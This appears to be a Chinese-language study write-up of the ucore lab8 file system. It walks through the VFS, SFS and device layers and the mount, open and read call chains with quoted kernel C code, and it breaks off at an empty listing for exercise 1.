这些 sysfile_xx 函数本质上就是更底层的 file_xx 函数(直接控制文件的函数)的外包装,可以说 file_xx 函数再外加一些对文件系统的操作就是 sysfile_xx 了:

1
2
3
4
5
6
7
8
9
10
11
int file_open(char *path, uint32_t open_flags);
int file_close(int fd);
int file_read(int fd, void *base, size_t len, size_t *copied_store);
int file_write(int fd, void *base, size_t len, size_t *copied_store);
int file_seek(int fd, off_t pos, int whence);
int file_fstat(int fd, struct stat *stat);
int file_fsync(int fd);
int file_getdirentry(int fd, struct dirent *dirent);
int file_dup(int fd1, int fd2);
int file_pipe(int fd[]);
int file_mkfifo(const char *name, uint32_t open_flags);

通常来讲,这些函数都会操作当前进程访问文件的数据接口,即 current->filesp(这也是进程描述结构体 proc_struct 新增的条目-filesp)

文件系统-抽象层

文件系统抽象层是把 不同文件系统对外共性接口 提取出来,形成一个函数指针数组,这样,通用文件系统访问接口层只需访问文件系统抽象层,而不需关心具体文件系统的实现细节和接口(有点面向对象的味道)

VFS虚拟文件系统-实现抽象层的技术

系统接口(通用文件系统访问接口层)再下一层就到了 VFS 虚拟文件系统

虚拟文件系统(VFS)是 物理文件系统与服务之间的一个接口层(用于在文件系统与服务之间进行最初的解析),它对 Linux 的每个文件系统的所有细节进行抽象,使得不同的文件系统在 Linux 核心以及系统中运行的其他进程看来都是相同的

虚拟文件系统中,所使用的相关函数接口分别是 :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
void vfs_init(void); // 虚拟文件系统vfs初始化
void vfs_cleanup(void); // 虚拟文件系统vfs清除
void vfs_devlist_init(void);

int vfs_set_curdir(struct inode *dir); // 通过inode更改当前线程的当前目录
int vfs_get_curdir(struct inode **dir_store); // 检索当前线程的当前目录的inode
int vfs_get_root(const char *devname, struct inode **root_store); // 获取名为DEVNAME的文件系统的根inode
const char *vfs_get_devname(struct fs *fs); // 获取传入的文件系统的挂载设备名称

int vfs_open(char *path, uint32_t open_flags, struct inode **inode_store); // 打开或创建文件
int vfs_close(struct inode *node); // 关闭文件
int vfs_link(char *old_path, char *new_path); // 创建指向文件的硬链接
int vfs_symlink(char *old_path, char *new_path); // 创建包含内容的符号链接路径
int vfs_readlink(char *path, struct iobuf *iob); // 将符号链接的内容读入uio(内核驱动)
int vfs_mkdir(char *path); // 创建一个目录
int vfs_unlink(char *path); // 删除文件/目录
int vfs_rename(char *old_path, char *new_path); // 重命名文件
int vfs_chdir(char *path); // 按名称更改当前线程的当前目录
int vfs_getcwd(struct iobuf *iob); // 检索当前线程当前目录的名称

int vfs_lookup(char *path, struct inode **node_store); // 查找文件
int vfs_lookup_parent(char *path, struct inode **node_store, char **endp); // 查找父目录

int vfs_set_bootfs(char *fsname);
int vfs_get_bootfs(struct inode **node_store);

int vfs_add_fs(const char *devname, struct fs *fs);
int vfs_add_dev(const char *devname, struct inode *devnode, bool mountable);

int vfs_mount(const char *devname, int (*mountfunc)(struct device *dev, struct fs **fs_store));
int vfs_unmount(const char *devname);
int vfs_unmount_all(void);

struct inode_ops {
unsigned long vop_magic;
int (*vop_open)(struct inode *node, uint32_t open_flags);
int (*vop_close)(struct inode *node);
int (*vop_read)(struct inode *node, struct iobuf *iob);
int (*vop_write)(struct inode *node, struct iobuf *iob);
int (*vop_fstat)(struct inode *node, struct stat *stat);
int (*vop_fsync)(struct inode *node);
int (*vop_namefile)(struct inode *node, struct iobuf *iob);
int (*vop_getdirentry)(struct inode *node, struct iobuf *iob);
int (*vop_reclaim)(struct inode *node);
int (*vop_gettype)(struct inode *node, uint32_t *type_store);
int (*vop_tryseek)(struct inode *node, off_t pos);
int (*vop_truncate)(struct inode *node, off_t len);
int (*vop_create)(struct inode *node, const char *name, bool excl, struct inode **node_store);
int (*vop_lookup)(struct inode *node, char *path, struct inode **node_store);
int (*vop_ioctl)(struct inode *node, int op, void *data);
};

ucore 虚拟文件系统中有四大对象:SuperBlock、inode、dentry、file

  • 超级块(SuperBlock)

超级块主要从文件系统的全局角度描述特定文件系统的全局信息,它的作用范围是整个OS空间

ucore 中有如下结构体来描述超级块:

1
2
3
4
5
6
struct sfs_super {
uint32_t magic; /* 魔数,必须是SFS_MAGIC */
uint32_t blocks; /* fs中的块数 */
uint32_t unused_blocks; /* fs中未使用的区块 */
char info[SFS_MAX_INFO_LEN + 1]; /* sfs的info(信息) */
};

PS:内核通过 magic 来检查磁盘镜像是否是合法的 SFS 镜像

  • 索引节点(inode)

UNIX 将文件的相关元数据信息(如访问控制权限、大小、拥有者、创建时间、数据内容等等信息)存储在一个单独的数据结构中,该结构被称为索引节点(每个文件都有一个 inode)

Linux 系统为每一个文件都分配了一个 inode 编号,这个编号中记录了文件相关的一些元信息,通过这些元信息可以用来唯一标识一个文件(操作系统上的 inode 并非无穷无尽,通常在你安装操作系统后,系统上的 inode 数量就已经确定了下来)

ucore 中的 inode 由如下结构体确定:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
struct inode {
union {
struct device __device_info; /* 设备结点 */
struct sfs_inode __sfs_inode_info; /* 文件/目录节点 */
} in_info;
enum {
inode_type_device_info = 0x1234,
inode_type_sfs_inode_info,
} in_type; /* 类型 */
int ref_count; /* 引用次数 */
int open_count; /* 打开次数 */
struct fs *in_fs; /* 相关联的文件系统 */
const struct inode_ops *in_ops; /* 当前结构所对应的操作集合(inode接口) */
};

接下来看看几种类型的索引结点:

一,磁盘索引结点——保存在硬盘中的索引结点

  • sfs_disk_inode 结构记录了文件或目录的内容存储的索引信息,该数据结构在硬盘里储存,需要时读入内存:
1
2
3
4
5
6
7
8
struct sfs_disk_inode {
uint32_t size; /* 文件大小 */
uint16_t type; /* 目标类型(文件,目录,链接) */
uint16_t nlinks; /* 此文件的硬链接 */
uint32_t blocks; /* 此文件的块 */
uint32_t direct[SFS_NDIRECT]; /* 直接指向了保存文件内容数据的数据块索引值 */
uint32_t indirect; /* 指向的是间接数据块 */
};
  • 对于普通文件:索引值 direct 指向的 block 中保存的是文件中的数据
  • 对于目录:索引值 direct 指向的数据保存的是目录下所有的文件名,以及对应的索引节点所在的索引块(磁盘块)所形成的数组,数据结构如下:(其实就是它就是目录项)
1
2
3
4
struct sfs_disk_entry {
uint32_t ino; /* inode编号 */
char name[SFS_MAX_FNAME_LEN + 1]; /* 文件名称 */
};
  • 不管是文件还是目录,磁盘索引结点都需要与内存索引结点进行“绑定”,这样才可以操控磁盘上的数据
  • 当 uCore 创建一个“用于存储文件/目录”的 inode 结构时(即该 inode -> in_info 成员变量为 sfs_inode 类型),程序会执行函数 sfs_create_inode,该函数会将 inode -> sfs_inode 成员与磁盘对应结点 sfs_disk_inode 相关联,从而使得只凭 inode 即可操作该结点
  • PS:用于描述设备 device 的 inode 会在其他函数中被初始化,不会执行函数 sfs_create_inode

二,内存索引结点——保存在内存中的索引结点(inode 结构体的条目之一)

1
2
3
4
5
6
7
8
9
struct sfs_inode {
struct sfs_disk_inode *din; /* 磁盘索引节点 */
uint32_t ino; /* inode编号 */
bool dirty; /* 如果inode被修改,则为true */
int reclaim_count; /* 如果它为'0'就杀死inode */
semaphore_t sem; /* din(磁盘索引节点)的信号量 */
list_entry_t inode_link; /* inode链表的入口 */
list_entry_t hash_link; /* inode哈希链表的入口 */
};
  • SFS 中的内存 sfs_inode 包含SFS的硬盘 sfs_disk_inode 信息,而且还增加了其他一些信息,这些信息用于:判断相关硬盘位置是否改写、互斥操作、回收和快速地定位
  • PS:一个内存 sfs_inode 是在打开一个文件后才创建的,如果关机则相关信息都会消失,而硬盘 sfs_disk_inode 的内容是保存在硬盘中的,只是在进程需要时才被读入到内存中,用于访问文件或目录的具体内容数据

三,文件结点——用于指向磁盘索引结点的结点(有助于硬链接的实现)

1
2
3
4
struct sfs_disk_entry {
uint32_t ino; /* inode编号(指向了sfs_disk_inode磁盘索引结点) */
char name[SFS_MAX_FNAME_LEN + 1]; /* 文件名称 */
};

inode->in_ops 指向 inode 接口,是对常规文件、目录、设备文件所有操作的一个抽象函数表示

对于某一具体的文件系统中的文件或目录,只需实现相关的函数,就可以被用户进程访问具体的文件了(用户进程无需了解具体文件系统的实现细节)

inode_ops 采用如下结构体进行组织:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
struct inode_ops {
unsigned long vop_magic;
int (*vop_open)(struct inode *node, uint32_t open_flags);
int (*vop_close)(struct inode *node);
int (*vop_read)(struct inode *node, struct iobuf *iob);
int (*vop_write)(struct inode *node, struct iobuf *iob);
int (*vop_fstat)(struct inode *node, struct stat *stat);
int (*vop_fsync)(struct inode *node);
int (*vop_namefile)(struct inode *node, struct iobuf *iob);
int (*vop_getdirentry)(struct inode *node, struct iobuf *iob);
int (*vop_reclaim)(struct inode *node);
int (*vop_gettype)(struct inode *node, uint32_t *type_store);
int (*vop_tryseek)(struct inode *node, off_t pos);
int (*vop_truncate)(struct inode *node, off_t len);
int (*vop_create)(struct inode *node, const char *name, bool excl, struct inode **node_store);
int (*vop_lookup)(struct inode *node, char *path, struct inode **node_store);
int (*vop_ioctl)(struct inode *node, int op, void *data);
};

inode 结构是与文件系统相关的,不同文件系统所实现的 inode 结构是不同的(主要体现在 inode_ops 条目),它的存在可以让 VFS 忽略更下一级的文件系统差异,使之注重于提供一个统一的文件系统接口

inode_ops 根据其 in_info 的不同而实现其不同的功能:(目录,文件,外设)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
// sfs特定的dir操作对应于inode上的抽象操作
static const struct inode_ops sfs_node_dirops = {
.vop_magic = VOP_MAGIC,
.vop_open = sfs_opendir,
.vop_close = sfs_close,
.vop_fstat = sfs_fstat,
.vop_fsync = sfs_fsync,
.vop_namefile = sfs_namefile,
.vop_getdirentry = sfs_getdirentry,
.vop_reclaim = sfs_reclaim,
.vop_gettype = sfs_gettype,
.vop_lookup = sfs_lookup,
};
// sfs特定的file操作对应于inode上的抽象操作
static const struct inode_ops sfs_node_fileops = {
.vop_magic = VOP_MAGIC,
.vop_open = sfs_openfile,
.vop_close = sfs_close,
.vop_read = sfs_read,
.vop_write = sfs_write,
.vop_fstat = sfs_fstat,
.vop_fsync = sfs_fsync,
.vop_reclaim = sfs_reclaim,
.vop_gettype = sfs_gettype,
.vop_tryseek = sfs_tryseek,
.vop_truncate = sfs_truncfile,
};
// sfs特定的dev操作对应于inode上的抽象操作
static const struct inode_ops dev_node_ops = {
.vop_magic = VOP_MAGIC,
.vop_open = dev_open,
.vop_close = dev_close,
.vop_read = dev_read,
.vop_write = dev_write,
.vop_fstat = dev_fstat,
.vop_ioctl = dev_ioctl,
.vop_gettype = dev_gettype,
.vop_tryseek = dev_tryseek,
.vop_lookup = dev_lookup,
};
  • 目录项(dentry)

目录项不是目录,而是目录的组成部分

目录项是描述文件的逻辑属性,只存在于内存中,并没有实际对应的磁盘上的描述,更确切的说是存在于内存的目录项缓存,为了提高查找性能而设计

  • UNIX 中目录被看作一种特定的文件,而目录项是文件路径中的一部分
  • 如一个文件路径名是 “/test/testfile” ,则包含的目录项为:
    • 根目录 “/” ,目录 “test” 和文件 “testfile” ,这三个都是目录项
  • 一般而言,目录项包含目录项的名字(文件名或目录名)和目录项的索引节点位置

注意:目录也是一种文件,所以也存在对应的 inode,打开目录,实际上就是打开对应的目录文件

1
2
3
4
struct sfs_disk_entry {
uint32_t ino; /* inode编号 */
char name[SFS_MAX_FNAME_LEN + 1]; /* 文件名称 */
};

dentry(具体为struct sfs_disk_entry)就是一个内存实体:其中的 ino 成员指向对应的 inode number,另外一个成员是 file name

  • 文件(file)

它主要从进程的角度描述了一个进程在访问文件时需要了解的文件标识,文件读写的位置,文件引用情况等信息,它的作用范围是某一具体进程

下面是用于描述文件的结构体:file(又称打开的文件描述)

1
2
3
4
5
6
7
8
9
10
11
struct file {
enum {
FD_NONE, FD_INIT, FD_OPENED, FD_CLOSED,
} status;
bool readable; /* 读权限标记位 */
bool writable; /* 写权限标记位 */
int fd; /* 文件描述符 */
off_t pos; /* 当前读取位置(下一次写入的起始位置) */
struct inode *node; /* 文件系统中与硬盘特定区域所对应的结点(索引节点inode) */
int open_count; /* 打开的引用次数 */
};

上面的 file 只是对一个文件而言,对于一个进程(用户)来说,可以同时处理多个文件,所以需要另一个结构来管理所有的 files:

1
2
3
4
5
6
struct files_struct {
struct inode *pwd; // 当前工作目录的inode
struct file *fd_array; // 打开的文件数组(存放file结构体)
int files_count; // 打开的文件数
semaphore_t files_sem; // 对应的信号量
};

文件系统-文件系统层

从 VFS 向下一层,就是 SFS(Simple FS,文件系统层,简称 SFS)

ucore 内核把所有文件都看作是字节流,任何内部逻辑结构都是专用的,由应用程序负责解释,但是 ucore 区分文件的物理结构,ucore 目前支持如下几种类型的文件:

  • 常规文件:文件中包括的内容信息是由应用程序输入,SFS 文件系统在普通文件上不强加任何内部结构,把其文件内容信息看作为字节
  • 目录:包含一系列的 entry,每个 entry 包含文件名和指向与之相关联的索引节点(index node)的指针,目录是按层次结构组织的
  • 链接文件:实际上一个链接文件是一个已经存在的文件的另一个可选择的文件名
  • 设备文件:不包含数据,但是提供了一个映射物理设备(如串口、键盘等)到一个文件名的机制,可通过设备文件访问外围设备
  • 管道:管道是进程间通讯的一个基础设施,管道缓存了其输入端所接受的数据,以便在管道输出端读的进程能一个先进先出的方式来接受数据

SFS 文件系统中目录和常规文件具有共同的属性,而这些属性保存在索引节点中,SFS 通过索引节点来管理目录和常规文件,索引节点包含操作系统所需要的关于某个文件的关键信息,比如文件的属性、访问许可权以及其它控制信息都保存在索引节点中

函数接口与数据结构

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
void sfs_init(void);
int sfs_mount(const char *devname);

void lock_sfs_fs(struct sfs_fs *sfs);
void lock_sfs_io(struct sfs_fs *sfs);
void unlock_sfs_fs(struct sfs_fs *sfs);
void unlock_sfs_io(struct sfs_fs *sfs);

int sfs_rblock(struct sfs_fs *sfs, void *buf, uint32_t blkno, uint32_t nblks);
int sfs_wblock(struct sfs_fs *sfs, void *buf, uint32_t blkno, uint32_t nblks);
int sfs_rbuf(struct sfs_fs *sfs, void *buf, size_t len, uint32_t blkno, off_t offset);
int sfs_wbuf(struct sfs_fs *sfs, void *buf, size_t len, uint32_t blkno, off_t offset);
int sfs_sync_super(struct sfs_fs *sfs);
int sfs_sync_freemap(struct sfs_fs *sfs);
int sfs_clear_block(struct sfs_fs *sfs, uint32_t blkno, uint32_t nblks);

int sfs_load_inode(struct sfs_fs *sfs, struct inode **node_store, uint32_t ino);

static int sfs_sync(struct fs *fs);
static struct inode* sfs_get_root(struct fs *fs) ;
static int sfs_unmount(struct fs *fs);
static void sfs_cleanup(struct fs *fs);
static int fs_init_read(struct device *dev, uint32_t blkno, void *blk_buffer);
static int fs_do_mount(struct device *dev, struct fs **fs_store);

/* PS:函数定义多的一批,这里就不挂了 */

SFS 中涉及到了两种文件系统结构,分别是 fssfs_fs

  • fs 结构是我们 在上层函数调用中所直接操作 的抽象文件系统结构
  • sfs_fs 结构则是 在下层函数中所使用的

在原先 sfs_fs 上抽象出一层 fs 结构有助于忽略不同文件系统的差异,其实现如下所示:

1
2
3
4
5
6
7
8
9
10
11
12
struct fs { /* 上层函数直接操作 */
union {
struct sfs_fs __sfs_info;
} fs_info; // 特定于文件系统的数据
enum {
fs_type_sfs_info,
} fs_type; // 文件系统的类型
int (*fs_sync)(struct fs *fs); // 将所有脏缓冲区刷新到磁盘
struct inode *(*fs_get_root)(struct fs *fs); // 返回文件系统的根索引节点
int (*fs_unmount)(struct fs *fs); // 尝试卸载文件系统
void (*fs_cleanup)(struct fs *fs); // 清理文件系统
};
1
2
3
4
5
6
7
8
9
10
11
12
struct sfs_fs { /* 对接下层函数 */
struct sfs_super super; /* 磁盘上超级块 */
struct device *dev; /* 指向设备安装位置 */
struct bitmap *freemap; /* 正在使用的块被标记为'0' */
bool super_dirty; /* 是否修改了super/freemap */
void *sfs_buffer; /* 用于non-block对齐的缓冲区 */
semaphore_t fs_sem; /* fs的信号量 */
semaphore_t io_sem; /* io的信号量 */
semaphore_t mutex_sem; /* 用于链接/取消链接和重命名的信号量 */
list_entry_t inode_list; /* 索引节点链表(inode链表) */
list_entry_t *hash_list; /* 索引节点哈希链表 */
};
  • sfs_fs 结构中包含了底层设备的超级块 superblock 、所挂载的设备 dev 、以及底层设备中用于表示空间分配情况的 freemap

文件系统布局

文件系统通常保存在磁盘上

在本实验中,第三个磁盘(即 disk0,前两个磁盘分别是 ucore.img 和 swap.img)用于存放一个SFS文件系统(Simple Filesystem),通常文件系统中,磁盘的使用是以扇区(Sector)为单位的,但是为了实现简便,SFS 中以 block (4K,与内存 page 大小相等)为基本单位

SFS文件系统的布局如下:

1
2
3
+------------+----------+---------+-------------------------------------+
| superblock | root-dir | freemap | Inode / File Data / Dir Data blocks |
+------------+----------+---------+-------------------------------------+
  • 第0个块是超级块(superblock)
    • 它包含了关于文件系统的所有关键参数,当计算机被启动或文件系统被首次接触时,超级块的内容就会被装入内存
  • 第1个块放了一个 root-dir 的 inode,用来记录根目录的相关信息
    • root-dir 是 SFS 文件系统的根结点
    • 通过这个 root-dir 的 inode 信息就可以定位并查找到根目录下的所有文件信息
  • 从第2个块开始,根据 SFS 中所有块的数量,用1个bit来表示一个块的占用和未被占用的情况
    • 这个区域称为 SFS 的 freemap 区域,这将占用若干个块空间(为了更好地记录和管理 freemap 区域)
  • 最后在剩余的磁盘空间中,存放了所有其他目录和文件的inode信息和内容数据信息
    • 需要注意的是:虽然 inode 的大小小于一个块的大小(4096B),但为了实现简单,每个 inode 都占用一个完整的 block

文件系统-外设接口层

再底层一点就是 I/O 设备的相关实现,例如结构体 device

1
2
3
4
5
6
7
8
struct device {
size_t d_blocks;
size_t d_blocksize;
int (*d_open)(struct device *dev, uint32_t open_flags);
int (*d_close)(struct device *dev);
int (*d_io)(struct device *dev, struct iobuf *iob, bool write);
int (*d_ioctl)(struct device *dev, int op, void *data);
};

该结构体支持对块设备、字符设备的表示,完成对设备的基本操作

结构体 device 只表示了一个设备所能使用的功能,我们需要一个数据结构用于将 device 和 fs 关联,同时,为了将连接的所有设备连接在一起,uCore定义了一个链表,通过该链表即可访问到所有设备,而这就是定义 vfs_dev_t 结构体的目的:

1
2
3
4
5
6
7
typedef struct {
const char *devname; /* 结构体device的名称 */
struct inode *devnode; /* 结构体device的索引节点(inode) */
struct fs *fs; /* 被关联的fs结构(上层函数直接操作的接口) */
bool mountable;
list_entry_t vdev_link; /* vdev链表 */
} vfs_dev_t;

文件系统挂载流程

一个文件系统在使用前,需要将其挂载至内核中(使一个存储设备上的计算机文件和目录,可供用户通过计算机的文件系统访问的一个过程),在 uCore 里,硬盘 disk0 的挂载流程如下:

程序会先执行 fs_init 函数:

1
2
3
4
5
6
void
fs_init(void) {
vfs_init(); /* 初始化vfs虚拟文件系统 */
dev_init(); /* 初始化dev外设接口层 */
sfs_init(); /* 初始化sfs文件系统 */
}
  • vfs_init:初始化 vfs 虚拟文件系统
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
static semaphore_t bootfs_sem; /* fs文件系统的信号量 */
static semaphore_t vdev_list_sem; /* vdev链表的信号量 */
static list_entry_t vdev_list; /* vdev链表头 */

void
vfs_init(void) {
sem_init(&bootfs_sem, 1); /* 初始化fs信号量 */
vfs_devlist_init(); /* 初始化vdev结构体 */
}

void
vfs_devlist_init(void) {
list_init(&vdev_list); /* 初始化vdev链表 */
sem_init(&vdev_list_sem, 1); /* 初始化vdev链表信号量 */
}

void
sem_init(semaphore_t *sem, int value) {
sem->value = value; /* 初始化value(信号量关键整数) */
wait_queue_init(&(sem->wait_queue)); /* 初始化信号量等待队列 */
}
  • dev_init:初始化 dev 外设接口层
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
void
dev_init(void) {
init_device(stdin);
init_device(stdout);
init_device(disk0); /* 我们只关注这一个 */
}

#define init_device(x) \
do { \
extern void dev_init_##x(void); \
dev_init_##x(); \
} while (0) /* 这个循环八成是为了效率 */

void
dev_init_disk0(void) { /* 初始化disk0(超级块) */
struct inode *node;
if ((node = dev_create_inode()) == NULL) { /* 为dev创建inode */
panic("disk0: dev_create_node.\n");
}
disk0_device_init(vop_info(node, device)); /* 根据inode初始化dev */

int ret;
if ((ret = vfs_add_dev("disk0", node, 1)) != 0) { /* 把该dev添加到vdev链表 */
panic("disk0: vfs_add_dev: %e.\n", ret);
}
}
  • sfs_init:初始化 sfs 文件系统
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
void
sfs_init(void) {
int ret;
if ((ret = sfs_mount("disk0")) != 0) { /* 挂载sfs文件系统 */
panic("failed: sfs: sfs_mount: %e.\n", ret);
}
}

int
sfs_mount(const char *devname) {
return vfs_mount(devname, sfs_do_mount); /* 挂载vfs虚拟文件系统 */
}

int
vfs_mount(const char *devname, int (*mountfunc)(struct device *dev, struct fs **fs_store)) { /* 执行完毕后,文件系统就成功挂载了 */
int ret;
lock_vdev_list();
vfs_dev_t *vdev;
if ((ret = find_mount(devname, &vdev)) != 0) {
goto out;
}
if (vdev->fs != NULL) {
ret = -E_BUSY;
goto out;
}
assert(vdev->devname != NULL && vdev->mountable);

struct device *dev = vop_info(vdev->devnode, device);
if ((ret = mountfunc(dev, &(vdev->fs))) == 0) { /* 执行sfs_do_mount(挂载函数) */
assert(vdev->fs != NULL);
cprintf("vfs: mount %s.\n", vdev->devname);
}

out:
unlock_vdev_list();
return ret;
}

调用流程为:

1
sfs_init -> sfs_mount -> vfs_mount -> sfs_do_mount

sfs_do_mount 挂载函数会执行以下几个操作:

  • 从待挂载设备中读取超级块,并验证超级块中,魔数与总块数是否存在错误
  • 初始化哈希链表
  • 从待挂载设备中读入 freemap 并测试其正确性
  • 设置 fs 结构的相关信息,并在函数最后将该信息设置为传入的 device 结构体中的 fs 成员变量

文件打开流程

用户进程调用 open 函数时,调用链如下:

1
open -> sysfile_open -> file_open(包含vfs_open)

file_open 的实现如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
int
file_open(char *path, uint32_t open_flags) {
bool readable = 0, writable = 0;
switch (open_flags & O_ACCMODE) {
case O_RDONLY: readable = 1; break;
case O_WRONLY: writable = 1; break;
case O_RDWR:
readable = writable = 1;
break;
default:
return -E_INVAL;
}

int ret;
struct file *file;
if ((ret = fd_array_alloc(NO_FD, &file)) != 0) {
/* 在当前进程的文件管理结构filesp中,获取一个空闲的file对象 */
return ret;
}

struct inode *node;
if ((ret = vfs_open(path, open_flags, &node)) != 0) {
/* 调用vfs_open函数,并存储该函数返回的inode结构 */
fd_array_free(file);
return ret;
}

file->pos = 0;
if (open_flags & O_APPEND) {
/* 如果打开方式是append,则还会设置file的pos成员为当前文件的大小 */
struct stat __stat, *stat = &__stat;
if ((ret = vop_fstat(node, stat)) != 0) {
vfs_close(node);
fd_array_free(file);
return ret;
}
file->pos = stat->st_size;
}
/* 根据上一步返回的inode,设置file对象的属性 */
file->node = node;
file->readable = readable;
file->writable = writable;
fd_array_open(file);
return file->fd; /* 返回file->fd */
}

vfs_open 的实现如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
int
vfs_open(char *path, uint32_t open_flags, struct inode **node_store) {
bool can_write = 0;
switch (open_flags & O_ACCMODE) {
case O_RDONLY:
break;
case O_WRONLY:
case O_RDWR:
can_write = 1;
break;
default:
return -E_INVAL;
}

if (open_flags & O_TRUNC) {
if (!can_write) {
return -E_INVAL;
}
}

int ret;
struct inode *node;
bool excl = (open_flags & O_EXCL) != 0;
bool create = (open_flags & O_CREAT) != 0;
ret = vfs_lookup(path, &node); /* 调用vfs_lookup搜索给出的路径,判断是否存在该文件,如果存在,则vfs_lookup函数(sfs_lookup)返回该文件所对应的inode节点 */

if (ret != 0) {
/* 如果给出的路径不存在,即文件不存在,则根据传入的flag,选择调用vop_create创建新文件或直接返回错误信息 */
if (ret == -16 && (create)) {
char *name;
struct inode *dir;
if ((ret = vfs_lookup_parent(path, &dir, &name)) != 0) {
return ret;
}
ret = vop_create(dir, name, excl, &node);
} else return ret;
} else if (excl && create) {
return -E_EXISTS;
}
assert(node != NULL);

if ((ret = vop_open(node, open_flags)) != 0) {
/* 调用vop_open函数(sfs_openfile)尝试打开文件(打开文件的主体) */
vop_ref_dec(node);
return ret;
}

vop_open_inc(node);
if (open_flags & O_TRUNC || create) {
/* 如果文件打开正常,则根据当前函数传入的open_flags参数来判断是否需要将当前文件截断至'0'(即清空) */
if ((ret = vop_truncate(node, 0)) != 0) {
/* 如果需要截断,则执行vop_truncate函数(sfs_truncfile) */
vop_open_dec(node);
vop_ref_dec(node);
return ret;
}
}
*node_store = node;
return 0;
}

文件读取流程

用户进程调用 read 函数时,调用链如下:

1
read -> sysfile_read -> file_read -> sfs_read -> sfs_io -> sfs_io_nolock

file_read 的实现如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
int
file_read(int fd, void *base, size_t len, size_t *copied_store) {
int ret;
struct file *file;
*copied_store = 0;
if ((ret = fd2file(fd, &file)) != 0) {
return ret;
}
if (!file->readable) { /* 测试当前待读取的文件是否存在读权限 */
return -E_INVAL;
}
fd_array_acquire(file);

struct iobuf __iob, *iob = iobuf_init(&__iob, base, len, file->pos); /* 在内核中创建一块缓冲区 */
ret = vop_read(file->node, iob); /* 实际上执行sfs_read,将数据读取至缓冲区iob */

size_t copied = iobuf_used(iob);
if (file->status == FD_OPENED) {
file->pos += copied;
}
*copied_store = copied;
fd_array_release(file);
return ret;
}

file_read 中涉及到 IO 缓冲区,在 ucore 中,IO 缓冲区由如下结构体进行管理:

1
2
3
4
5
6
struct iobuf {
void *io_base; // IO缓冲区的内存地址
off_t io_offset; // 当前读取/写入的地址
size_t io_len; // 缓冲区的大小
size_t io_resid; // 剩余尚未读取/写入的内存空间
};

file_read 会进一步调用 vop_read,将数据读取至缓冲区 iob,最终调用 sfs_io_nolock:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
static int
sfs_read(struct inode *node, struct iobuf *iob) {
return sfs_io(node, iob, 0);
}

static inline int
sfs_io(struct inode *node, struct iobuf *iob, bool write) {
struct sfs_fs *sfs = fsop_info(vop_fs(node), sfs);
struct sfs_inode *sin = vop_info(node, sfs_inode);
int ret;
lock_sin(sin);
{
size_t alen = iob->io_resid;
ret = sfs_io_nolock(sfs, sin, iob->io_base, iob->io_offset, &alen, write);
if (alen != 0) {
/* 果当前缓冲区中存在尚未读取/写入的数据,则跳过该部分数据 */
iobuf_skip(iob, alen); /* 写入/读取至该块数据的下一个地址处 */
}
}
unlock_sin(sin);
return ret;
}
  • sfs_io_nolock 函数将在练习1中详细讲解

练习0-把 lab7 的内容复制粘贴到 lab8

练习1-完成读文件操作的实现

用户进程调用 read 函数时,调用链如下:

1
read -> sysfile_read -> file_read -> sfs_read -> sfs_io -> sfs_io_nolock

前面几个函数都可以跳过了,我们的任务就是补全最后一个函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
static int
sfs_io_nolock(struct sfs_fs *sfs, struct sfs_inode *sin, void *buf, off_t offset, size_t *alenp, bool write) {
struct sfs_disk_inode *din = sin->din;
assert(din->type != SFS_TYPE_DIR);
/* 计算缓冲区读取/写入的终止位置 */
off_t endpos = offset + *alenp, blkoff;
*alenp = 0;
if (offset < 0 || offset >= SFS_MAX_FILE_SIZE || offset > endpos) {
return -E_INVAL;
}
if (offset == endpos) {
/* 如果偏移与终止位置相同,及欲读取/写入0字节的数据 */
return 0;
}
if (endpos > SFS_MAX_FILE_SIZE) {
endpos = SFS_MAX_FILE_SIZE;
}
if (!write) {
if (offset >= din->size) {
/* 如果是读取数据,并冲区中剩余的数据超出一个硬盘节点的数据大小 */
return 0;
}
if (endpos > din->size) {
endpos = din->size;
}
}

/* 根据不同的执行函数,设置对应的函数指针 */
int (*sfs_buf_op)(struct sfs_fs *sfs, void *buf, size_t len, uint32_t blkno, off_t offset);
int (*sfs_block_op)(struct sfs_fs *sfs, void *buf, uint32_t blkno, uint32_t nblks);
if (write) {
sfs_buf_op = sfs_wbuf, sfs_block_op = sfs_wblock;
}
else {
sfs_buf_op = sfs_rbuf, sfs_block_op = sfs_rblock;
}

int ret = 0;
size_t size, alen = 0;
uint32_t ino;
uint32_t blkno = offset / SFS_BLKSIZE; /* Rd/Wr起始块的编号 */
uint32_t nblks = endpos / SFS_BLKSIZE - blkno; /* Rd/Wr块的大小 */

/* <---- start ----> */

/* <---- end ----> */

out:
*alenp = alen;
if (offset + alen > sin->din->size) {
sin->din->size = offset + alen;
sin->dirty = 1;
}
return ret;
}

实现过程:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
